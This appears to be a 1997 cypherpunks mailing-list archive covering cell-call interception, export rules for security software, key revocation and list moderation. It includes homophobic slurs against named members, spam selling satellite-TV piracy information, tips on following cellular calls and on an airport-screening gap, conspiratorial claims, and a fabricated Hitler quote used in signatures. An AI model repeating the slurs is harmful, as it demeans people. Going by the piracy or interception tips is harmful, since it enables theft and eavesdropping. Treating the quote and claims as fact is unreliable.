We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, February 1, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston".

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Planned speakers for DCSB are:

March  Daniel Greenwood  The Role of State Government in Digital Commerce
April  Stewart Baker     Encryption Policy and Digital Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

Looking forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 14 Jan 1997 20:07:47 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: EPIC Drops the Ball on the NewsHour (Was Re: Newt's phone calls)
In-Reply-To: <199701142209.RAA26359@pathfinder.com>
Message-ID: <v03007811af01fc5c7359@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:34 pm -0500 1/14/97, Declan McCullagh wrote:
>Watch the Lehrer Newhour (or whatever the hell it's
>called now) tonight, for instance.

Sadly, no.

A guy from EPIC, somebody who *should* have known better, did not mention
cryptography at all. At least in the part I heard.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 14 Jan 1997 22:22:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Airport security [no such thing]
Message-ID: <3.0.32.19970114222343.006b6f9c@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


I recently took a domestic flight from the Oakland, CA airport. While
waiting for the airplane, I spent some time observing the security measures
at the X-ray machine.

As most readers probably know, laptops are often subject to manual
scrutiny. From my non-representative sample, about four out of five tote
bags clearly containing laptops will be manually searched. Typically, the
attendant requires that the laptop is powered up. In none of the 20+ manual
searches I witnessed did the security personnel wait past the RAM check
before clearing the passenger. I could not help but contemplate how much of
the insides of the laptop could be replaced while still obtaining an
identical display.

Then came the big one: A man wearing a beer truck driver uniform approached
the checkpoint. On his hand truck were two kegs of beer. For those
unfamiliar with such objects, a keg of beer is a cylindrical stainless
steel container, about 1.5 feet tall with about 1 foot diameter.

I was wondering what the procedure for handling these rather large steel
containers would be.  Would they be X-rayed? How much shielding would the
steel provide for the contents? Much to my surprise, the man did not
approach the X-ray machine. Instead, he went straight for the "exit only"
walkway. The guard posted there to make sure that nobody would enter
through the exit gave the fellow only a cursory glance as he entered the
"secure" area unchallenged.

I was flabbergasted. They let a man with two *large steel containers* enter
unchecked? No asking for ID, no X-ray? I struck up a conversation with the
beer truck driver. I asked him why the kegs did not get X-rayed. He looked
at me with an expression of utter lack of understanding and answered: "They
are too heavy to be put on the [conveyor] belt."

Right... We wouldn't want to have these 50 pound steel barrels jam the
X-ray machine.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gadgets1@ix.netcom.com
Date: Tue, 14 Jan 1997 20:38:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: DSS Secret Info
Message-ID: <199701150447.WAA10924@matrix.binary.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi: I seen your post in the group and thought you could be interested in this info. This mgs was posted in the misc.forsale grp under info manual.


                       ??? FREE SATELLITE TV ???
***************************************************************************
****** The secrets out about the New 18" DIGITAL SATELLITE SYSTEMS *******
***************************************************************************

 The technology underground is an amazing place. The huge multi-national corporations developed the world's most sophisticated satellite-delivered television programming system,called DSS it rolled out in september 1994 and by april of 1995 it had been hacked. 

 By autumn of 1995, Test access cards were being sold all over North America. The cards turn on all programming including pay-per-view-movies,blacked-out sports events and all other available channels.

 These test cards are now being used in other countries to get FREE USA PROGRAMMING on the DSS system. United States companies will not allow other countries to purchase our programming.

 In short companies are popping up selling these cards at a blistering rate. The cards are being sold for as low as 150.00 dollars in some areas, other companies offer two year warranties on thier cards.

 If you would like to learn  more about this subject and other educational material you can order our infotech manual #10 which includes the following information.

*  List of companies selling these products along with phone numbers.

*  FAQ's about test cards

*  Hidden features in your receiver

*  Hard boot and soft boot info

*  How to use that data port in the back

  
 To Order send $10.00 MONEY ORDER along with E-MAIL address to:
 InfoTech
 Box 124d
 Raymond, Nebraska  68428

 (If you wish send a SASE and we'll return it snail mail)
     < We don't sell test cards please don't ask >
                   *WARNING*WARNING*WARNING* 
 INFORMATION AND PRODUCTS SOLD HERE ARE INTENDED FOR EDUCATIONAL AND ENTERTAINMENT USE ONLY. WE ASSUME NO RESPONSIBILITY FOR THE MANNER IN WHICH OUR INFORMATION/PRODUCTS ARE USED.CERTAIN TRADEMARKS USED HERE ARE THE PROPERTY OF THEIR OWNERS. USE OF SAME BY US IN NO WAY AN ATTEMPT TO INFRINGE ON THE RIGHTS OF THOSE TRADEMARK OWNERS.










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 14 Jan 1997 22:58:08 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: You can now subscr. to the moderated/unmoderated/flames lists
In-Reply-To: <199701140637.WAA14213@toad.com>
Message-ID: <32DC7DB0.67B5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


A minor note:  When I downloaded email tonite (Tues), there were 67
messages, and I got stopped 4 times with server errors.  I've had at
most four such errors total in the past 4 months. Coincidence, I guess.

I unsubscribed cypherpunks, and re-subscribed to cypherpunks-unedited.
I am now allegedly on the "original" list, but under a different name.

So now I suppose anyone can get a list from majordomo(?) and see that I
am on the "unedited" list (i.e., a second-class citizen, a minority),
and no longer one of the "elite".  If this is true (if), I'd like to
say a big *BOO, HISS* to all the scum who didn't protest at least this
item (renaming the original, and giving the original name to the edited
list).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 14 Jan 1997 22:53:13 -0800 (PST)
To: michael.tighe@Central.Sun.COM (Michael Tighe SUN IMP)
Subject: Re: Newt's phone calls
Message-ID: <v02140b00af0203452435@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Bill Stewart writes:
>
>>Tapping cellphones is more trouble than tapping wired phones -
>>they move around, and to tap them from the phone company end
>>requires taps everywhere that you activate when you know where
>>somebody is.
>
>Exactly. So how come mom&pop with a scanner were able to record BOTH sides
>of the conversation without interruption? This seems pretty suspicious to
>me. I think Old Newt was targeted by someone inside the phone company, who
>was eavesdropping on all of his cell calls.

Both sides of a conversation are audible on a single channel due to its use
for sidetone.


PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear             | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet and Wireless Development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 14 Jan 1997 22:53:24 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Newt's phone calls
Message-ID: <v02140b01af020537992b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>If the person with the cell phone doesn't move, then they don't
>get handed off to a different cell.  That means that they
>stay on the same frquency.  No need to scan channels if they don't switch.

Wrong Eric, cells are constantly expanding and contracting as subscribers
in motion are transferred in and out.  Thus you can be stationary, holding
a conversation, and assigned to cell A when all of a sudden subscribers
enter from adjacent cells B and C threatening to fill cell A beyond
capacity.  To keep from dropping calls in cell A the MTS will determine
which calls can safely, due to signal strength and adjacent cell capacity,
be transferred to another cell.  If your conversation is selected then off
you go to another, geographically overlapping, cell.  The MTS can't be sure
which subscribers are stationary and which are in motion (it really doesn't
care).

We saw this unexpected phenomenon frequently during development of Cylink's
SecureCell and finally had to recommend our users be stationary during use,
because our modems did not tolerate handoffs well without retraining, in
order to offer the best chance of uninterupted communication.

>
>What Bill's saying is that it is difficult to tap the cell phone of
>a _particular_ person with just a scanner.  However the people
>who taped Newt were just scanning for whatever they could get.  That's easy.

Yes, you need a device which can simultaneously listen to the
paging/controll channels and determine, when a handoff to a monitored
conversation occurs,to  which new channel pair they have been assigned.  I
seem to recall such a device was for sale a few years back using a ISA/EISA
card and some DOS compatible software.  It connected to the ubiquitous and
well characterized Oki 900 cell phone.

>--
>Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
>PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 14 Jan 1997 22:53:28 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: Newt's phone calls
Message-ID: <v02140b02af020c18371d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>> >Tapping cellphones is more trouble than tapping wired phones -
>> >they move around, and to tap them from the phone company end
>> >requires taps everywhere that you activate when you know where
>> >somebody is.
>>
>> Exactly. So how come mom&pop with a scanner were able to record BOTH sides
>> of the conversation without interruption? This seems pretty suspicious to
>> me. I think Old Newt was targeted by someone inside the phone company, who
>> was eavesdropping on all of his cell calls.
>>
>
>It is also possible that somewhere in the chain of information between
>mom&pop, the media, and us, the distinction between "cordless phone"
>and cellular phone.  I gather it was a conference call that was
>intercepted.  All it takes is one participant using a cordless phone in
>range of one scanner, and the whole conversation is compromised.
>
>(Someone mentioned that they thought cordless phone intercepts weren't
>illegal the way cellular phone intercepts are.  IANAL, but I recall that
>intercepting both was made illegal by the same legislation.)

Sorry Alan, they were right.  The Supreme Court ruled that unlike cell
phones, cordless phone users could presume privacy.



PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear             | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet and Wireless Development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 14 Jan 1997 20:32:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PBS program - Turing/Enigma
In-Reply-To: <199701141321.HAA07999@smoke.suba.com>
Message-ID: <ZR1J1D106w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > Homosexuals have a strange attraction to cryptography, perhaps because of i
> > connection to privacy and anonymity. But they haven't made any contribution
>
>      Speaking from personal experince Dimitri? You and Grubor enjoying each
> others company?

Two questions:

One, do the crypto-queers Gilmore and Inman suck each other's cocks?

Two, why did the above-quoted message appear on "moderated" cypherpunks?
(That's a rhetorical question: clearly Gilmore's moderation encourages
personal attacks on Gilmore's "enemies" like myself and Dr.Grubor, while
responses to these attacks are suppressed.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 14 Jan 1997 20:32:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Reminder:  Physical DC Cypherpunks Meeting
In-Reply-To: <Pine.SCO.3.93.970114112730.11658B-100000@grctechs.va.grci.com>
Message-ID: <NX1J1D108w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Mark O. Aldrich" <maldrich@grci.com> writes:
> Post-meeting world-problem-solving and beer-swilling activities

practice safe sex - bring a bagful of condoms.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 22:22:13 -0800 (PST)
To: Nelson Minar <nelson@media.mit.edu>
Subject: Re: New US regs ban downloadable data-security software
In-Reply-To: <3.0.32.19970113210258.006ade10@192.100.81.126>
Message-ID: <32DC8132.42AD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Nelson Minar wrote:
 
> In my more cynical mood I'm afraid that what's going on is the US
> government is trying to protect its capability to wage information
> warfare. Could they get away with this?

Nelson,
  With a paranoid mind-set such as you seem to be displaying, the 
next thing I expect is for you to be rambling on about some 
ludicrous scenario involving the CIA being involved in distributing
cocaine in ghetto areas.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iiucom@iiu.com
Date: Tue, 14 Jan 1997 20:16:24 -0800 (PST)
Subject: Information is POWER- Get it!
Message-ID: <199701150411.XAA15372@mule1.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


****This letter is sent to you automaticly. If you wish to 
be removed, reply and type remove***********

++++++++++++++++++++++++++++++++++++++++++++++++++++++++
This is a new LEGAL service bringing Public Information
to the world of  Personnel computing!!!

++++++++++++++++++++++++++++++++++++++++++++++++++++++++
This letter is being sent to you because you know that 
information is Power. You are interested in new ways of 
doing business economically and safely. You won't let 
anyone take advantage of you.

Please read the next few paragraphs to see if our services can help you.

We are Informational Investigations, Unlimited, a public
information company. What we do is to provide the public
with information on people and companies. Let me explain.

Say you've lost touch with an old friend. We can find  that
person. What if that someone or a company owes you money. We
can find that person/company so you can collect. Here's  
another way IIU can help you.

Are you buying a house? Do you think knowing what the seller
paid for the same house could help you in the negotiations?
Do you trust the real estate to give you the right tax
assessment? We can give you the taxes on your dream house
directly from yhe assessors office. No better way to be
accurate than that! 

Are you hiring a 'nanny' or babysitter? I know from my 
experience how emotional a decision that can be. The worry,
the questions about his/her background. EASE YOUR MIND! Why
not check to see if this person was convicted of a crime. Do
they have bad credit or a DWI?

OK? Want to see one more? Here's how we have saved landlords
money for years.

Renting an apartment? Extending credit? Call us! We can do 
the background checking for you, saving you time and money 
in the long run. Have you ever tried to get a deadbeat out
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A few dollars now may save you THOUSANDS later in attorney's 
fees and lost rent.

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the information you need to make informed decisions quickly
and economically.

Our fees? Simple. We charge you the cost of the search plus
$20.00. Our search fees, the amount it costs us to get your 
information, is usually $50.00 or less. Most searches are
$10.-15.00. All information is obtained legally through
public databases.

Call us at (800) 375-5260, Monday-Friday-9AM to 5PM ET. Or
visit our web site at: http://www.iiu.com. Make a bookmark 
for it. Tell a friend.

Thank you for taking the time to read our letter.

INFORMATIONAL INVESTIGATIONS, UNLIMITED, INC. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 14 Jan 1997 23:10:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New US regs ban downloadable data-security software
Message-ID: <v02140b05af0231cd12cf@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>> shamrock@netcom.com (Lucky Green) writes:
>> > Commercial data security software of any kind, regardless if it uses crypto
>> > or not, is however prohibited from being distributed via the Internet or
>> > being exported by any other means.
>>

But does it ban commercial companies from benefiting from their software if
it is illegally exported (e.g., via the Net).  Should, for example, PGP
find users of its new software (who might be outside the U.S.) paying via
ecash, should they accept the payment?

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 22:22:26 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701142233.OAA15724@slack.lne.com>
Message-ID: <32DC85A2.7734@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray wrote:

> Do you think they (whoever 'they' are) were tapping the phones of
> everyone that Newt might talk to?

 Yes.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Tue, 14 Jan 1997 14:24:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
In-Reply-To: <3.0.32.19970113210258.006ade10@192.100.81.126>
Message-ID: <199701142224.XAA17894@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Subject: Re: New US regs ban downloadable data-security software

Nelson Minar <nelson@media.mit.edu> writes:

> shamrock@netcom.com (Lucky Green) writes:
> > Commercial data security software of any kind, regardless if it uses crypto
> > or not, is however prohibited from being distributed via the Internet or
> > being exported by any other means.
> 
> I can at least vaguely understand the rationale behind restricting the
> export of cryptography. But I don't even begin to comprehend
> restricting the export of data security software. What is going on
> here? Whose idea is this, what is the agenda?
> 
> Is the US government really prepared to take on all the producers of
> virus protection software? Symantec and IBM are pretty big players to
> upset. And they don't even have the "drug dealers and terrorists"
> bugbear to defend this particular export restriction.

They don't have to.  They will almost certainly approve almost any
non-crypto data security product for export (well, unless they want to
punish a company for domestic crypto products :-(, but I think the
commerce department can deny actually deny all a comany's exports even
without EAR).

What's really going on here is that the NSA wants to know exactly
what's out there in terms of virus protection and security software,
so that if they need to release a virus or something they know exactly
how to work around the defenses people are using.  You're not going to
too many export applications denied for this kind of stuff.  It's more
just a way for them to know exactly what's going on in that realm.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: international@telcom.com (MonarchTelcom+)
Date: Tue, 14 Jan 1997 15:26:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Quality Low Cost International Telcom
Message-ID: <199701142326.PAA05891@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dozer@netwizards.net
Date: Tue, 14 Jan 1997 23:28:09 -0800 (PST)
To: jyu-ohjelmointi-cypherpunks@mail.uu.net
Subject: A Special Offer!
Message-ID: <5bi0tf$j6e@news1-alterdial.uu.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 14 Jan 1997 20:33:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Key Revokation Scheme
Message-ID: <TCPSMTP.17.1.14.-9.32.16.2780269260.1467056@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

I started thinking about the issue, how to set up a system to have
somebody else revoke your key for you, if you don't have the means
to do so yourself.
The possible case I had in mind was, what if you're maybe a
dissident, you get arrested and your apartment (incl. disks/keys)
gets raided. You don't have any means to revoke the key yourself,
don't even have e-mail in general, and with the "one phone call",
that your hopefully entitled to, you can't really do much...
It might have been discussed before, but here is what I came up
with:

Peter (the dissident) creates a signed key revokation certificate
and a list of the intended recipients for it. He archives the files
and then encrypts the archive conventionally. He then sends the
encrypted archive file to his trusted friends (or relatives) Alice
and Bob, without the passphrase though.
(Note: For additional security, the files within the archive may be
encrypted with A. and B.'s public keys).

Then Peter gives a sealed envelope to his lawyer (or anybody he
trusts and who would know, if something happened to him),
containing the passphrase and the names of Alice and Bob, incl.
their respective phone/fax numbers, e-mail adresses and snail mail
adresses with the instruction to notify them if necessary.
The lawyer however, does not have the archive itself.

Now, in case of an arrest, Peter calls his lawyer (he'd very likely
be the first one to know) and thus he knows, that Peter's keys have
been compromised.
The lawyer now opens the envelope and gets in touch with Alice and
Bob, telling them of Peter's misfortune, and he gives them the
passphrase for the archive.
He also sends them the same information in an encrypted/signed
e-mail. (Note: Of course, Alice and Bob have to have the lawyers
public key and his key must be signed by Peter and vice versa.
Preferably, Alice and Bob have met the lawyer at some point and have
verified his key first hand.)
Thus they know, it was really Peter's lawyer, who gave them the
information, not somebody else, who might have gotten possession of
the envelope...

Alice and Bob, however, do not immediately send out the revokation
certificate, but try to verify the information from the lawyer with
independent sources, such as Peter's relatives, friends etc..
Only if one or better both of them (they should be in contact with
each other too) has/have enough reason to believe, that Peter is
really in trouble and that his keys have been compromised, they
decrypt the archive and send his key revokation certificate to the
intended recipients (friends, key-servers etc.).


Note1: The entire system relies on the trustworthiness of
Alice and Bob and their effort, to verify the information,
before they send out the revokation certificate.

Note2: The described chain of information/verification could go
different directions. Even if Peter's mom is the first one to know,
she could call Alice and/or Bob and/or his lawyer {...}, who in turn
verify the information with others...

Note3: As additional backup for the case, that the lawyer can't get
in touch with neither Alice nor Bob, he could have the same archive
file, encrypted with a different passphrase (which he doesn't know).
If he can't talk to Alice or Bob within a reasonable time period
(let's say 3 days), Peter could give him the passphrase and so his
lawyer himself sends out the revokation certificate.

Note4: In case, Peter doesn't even get the one phone call, but
happens to be in a country, where one just "disappeares", having his
secret keys compromised should be the least of his problems...
But even then, chances are, that the word gets out and Alice and Bob
could act upon it.


Please let me know, if you think, that such a scheme could work (or
not work). Also I'd be grateful, if you'd copy replies to my private
e-mail adress as well, for I am currently not subscribed to the CP
list...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMtsI6zltEBIEF0MBAQHo7wf9GQTU5u72gFVZ0LMr7hhTWSikYVDFvzGF
bGopD01j6bq3g9jYQC3YC0pRGfA+y8Q3qDLRbeJ5qMm3iXZgv7Axu2PVeri7ZE7r
+GWZjfMk9EFGY1t9Jf2Fnm9mSAV0Cgq02vyhns8fLqTH1jcNuinZZ61Hq1+oSDFs
f7/qttsqLZmxeHU+VI/47U0xkuh4NXQk/aZlNUOr9Au9+PhqJwpa7EGYzmCBKTzl
pu4QRyjNnvgIuec2wkwVn8uNevvlc/aQB65uU55+NOQnMINl2V4S3lRim9F7gGH+
DV6NiZxmjxCXbX0y4K+33BX1YIwBgYz5EArM1O1j32lOpThIb03jmA==
=stfG
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 15 Jan 1997 00:23:01 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.3.89.9701141425.A3919-0100000@netcom18>
Message-ID: <32DC8A07.64AE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Alan Bostick wrote:
> On Tue, 14 Jan 1997, Michael Tighe SUN IMP wrote:
> > Bill Stewart writes:[snip]
> (Someone mentioned that they thought cordless phone intercepts weren't
> illegal the way cellular phone intercepts are.  IANAL, but I recall that
> intercepting both was made illegal by the same legislation.)
> Of course, if the phone in question was a cell phone that happened to
> be stationary -- like a handheld phone in someone's back yard or in a
> restaurant or whatever, the question of the call jumping cells is moot.

Cell phone monitoring is illegal everywhere.  Cordless phones are
on a state-by-state basis (illegal in Calif.).

The purpose of the legislation is so that when the feds etc. catch
someone in a major violation (scanning businesses and selling
competitive or security info, whatever), they have a statute to
prosecute on.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 14 Jan 1997 20:52:59 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: EPIC Drops the Ball on the NewsHour (Was Re: Newt's phone calls)
In-Reply-To: <v03007811af01fc5c7359@[139.167.130.248]>
Message-ID: <Pine.GSO.3.95.970114235004.4093B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Oh well. I'll yell at Dave tomorrow. He should know better, or it was
sliced out. 

-Declan


On Tue, 14 Jan 1997, Robert Hettinga wrote:

> At 5:34 pm -0500 1/14/97, Declan McCullagh wrote:
> >Watch the Lehrer Newhour (or whatever the hell it's
> >called now) tonight, for instance.
> 
> Sadly, no.
> 
> A guy from EPIC, somebody who *should* have known better, did not mention
> cryptography at all. At least in the part I heard.
> 
> Cheers,
> Bob Hettinga
> 
> 
> -----------------
> Robert Hettinga (rah@shipwright.com), Philodox,
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "The cost of anything is the foregone alternative" -- Walter Johnson
> The e$ Home Page: http://www.shipwright.com/rah/
> FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 22:22:45 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: s/n problems on this list
In-Reply-To: <199701141652.IAA10713@netcom13.netcom.com>
Message-ID: <32DC8E96.377@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote:
> 
> I've posted on this subject many times in the past, and its
> something I like to brainstorm on. signal to noise problems
> on this list.

  'Your' noise, or 'mine'?

> generally, the moderator-specific approaches I find less
> palatable than techniques that can be automated. here
> are some more ideas for automated moderation techniques.

  Here's one.
  How about only accepting auto-generate postings from machines
programmed only to post officially 'acceptable' postings?
  This would get rid of the dastardly 'human element' and insure
that there would be no off-topic postings.

> hence, a proposal: cpunks have long advocated and hacked mailer
> programs to stick in crypto. how about sticking in a hack that
> tracks how long mail messages are being read, and send that
> info back to an auxilliary mailing list address. the list
> software keeps track of time spent reading articles and
> can allow people to screen the list based on the "most interesting
> articles". "send me only those articles that go over a threshhold
> of 500 combined human attention minutes".

  Then we can go directly to the postings that talk about "Gilligan's
Island" and "Married With Children".
  Are you getting better drugs than I am?
 
> of course this can be messed up by hackers who try to skew the
> ratings. I would suggest a limit on the max time per article per
> person.

  For every solution, there is a problem.
 
> 2. I like the idea of a system that keeps track of complaints against
> given users.

  Including yourself?
 
> just more ideas. I like cpunks generally favor a technological
> fix that doesn't involve bottlenecks of individual moderator
> opinions.

  I think your ideas are a bottleneck.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Tue, 14 Jan 1997 21:04:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New US regs ban downloadable data-security software
Message-ID: <199701150503.AAA11626@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 14 Jan 1997, Nelson Minar wrote:

> shamrock@netcom.com (Lucky Green) writes:
> > Commercial data security software of any kind, regardless if it uses crypto
> > or not, is however prohibited from being distributed via the Internet or
> > being exported by any other means.
> 
> I can at least vaguely understand the rationale behind restricting the
> export of cryptography. But I don't even begin to comprehend
> restricting the export of data security software. What is going on
> here? Whose idea is this, what is the agenda?
> 
> Is the US government really prepared to take on all the producers of
> virus protection software? Symantec and IBM are pretty big players to
> upset. And they don't even have the "drug dealers and terrorists"
> bugbear to defend this particular export restriction.
> 
> In my more cynical mood I'm afraid that what's going on is the US
> government is trying to protect its capability to wage information
> warfare. Could they get away with this?
> 


A cynical person might think that this gives the government one more way
to strongarm companies which might sell non-GAK encryption products.
"Sure, I can ok the export of your new anti-virus software.  Say, how's
that crypto plug-in your working on?"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Tue, 14 Jan 1997 22:17:20 -0800 (PST)
To: jovi@telnor.net
Subject: Re: your mail
In-Reply-To: <199701150547.VAA06996@telnor.net>
Message-ID: <Pine.LNX.3.95.970115001554.736A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


